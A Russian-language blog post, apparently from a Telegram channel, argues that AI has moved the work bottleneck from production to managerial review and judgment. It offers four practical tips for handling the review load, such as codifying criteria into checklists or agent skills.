И это не то, чтобы только у меня подгорает. На прошлой неделе в HBR вышел материал Managers Are Struggling to Keep Up with the AI Productivity Boom. Открывается цитатой менеджера: "каждые тридцать минут кто-то создаёт что-то, что я должен посмотреть". CIO в свежей колонке формулирует ещё жёстче: исполнение перестаёт быть ограничением, дефицитным ресурсом становится суждение. Производство чего либо-ускорилось в разы. Но при этом никто не перестраивает поток работы под ИИ, практически всегда остаются те же цепочки согласований, что были до.

Опять вернусь к своему опыту. Когда ревьюишь черновик от человека, то ловишь опечатки и логику. Когда ревьюишь то, что выдала модель — проверяешь каждый факт, каждую формулировку, каждую цифру. Ошибки модели уверенные, гладкие, правдоподобные, их не отловить, читая по-диагонали. ИИ снимает нагрузку с генерации и нагружает верификацию. Инженеры в опросах напрямую отвечают: проверять AI-код тяжелее, чем писать с нуля.

Короче, производство ускорили на порядок, а пропускную способность решений — процентов на двадцать. Разница оседает у тебя на столе. И, надо признать, в этом нет ничьего злого умысла. Просто индустрия выкатила инструмент, который сжимает один этап цепи, и почему-то решила, что от этого ускорилась вся цепь. Не ускорилась. Узкое место мигрировало. Сейчас оно сидит на менеджерском стуле и проверяет то, что выдала модель.

💡Что могу посоветовать. «Делегируйте больше», «фокусируйтесь на главном», «приоритизируйте» — это всё сработает только, если у вас есть большая команда.

Первое — перенести принятие решений из своей головы в артефакты. Если ты ревьюишь каждый текст как индивидуальный кейс, ты держишь критерии в рабочей памяти и тратишь её на каждой итерации заново. Если эти же критерии оформлены как явный чек-лист, гайдлайн, или, в случае Claude Code, как скилл — половина решений принимается до того, как текст дошёл до тебя.

Второе — поменять метрику собственной нагрузки. Для контент-менеджера, например, это значит перестать мерить себя «количеством опубликованного» и начать мерить «сколько решений приняли за день» и «сколько из них пришлось переоткрывать». Это звучит абстрактно, но это единственная метрика, которая показывает, упёрся ли ты в производство (масштабируется ИИ) или в суждение (не масштабируется).

Третье — называть проблему вслух перед руководством. Не как жалобу, а как операционную диагностику: «У нас не дефицит производства, у нас дефицит пропускной способности решений. Можем обсудить, как её расширить — либо новый сотрудник с делегированной зоной ответственности, либо перенос части решений в политику агента».

Четвёртое — признать, что часть решений можно не принимать. Самое тяжёлое — это решения о пограничных кейсах, которые на самом деле не пограничные, а просто непривычные. Например, для контента: есть устоявшаяся редполитика и агент с явными правилами может выкатывать большую часть текстов в публикацию практически без ревью. А человек будет проверять только то, что реально спорно. Это страшно, кажется, что качество упадёт. Но на практике у команд, которые так сделали, качество не падает, потому что вариативность снижается. А время освобождается. Но страшно и есть риски для бренда.

Подписывайтесь на канал, там больше и раньше.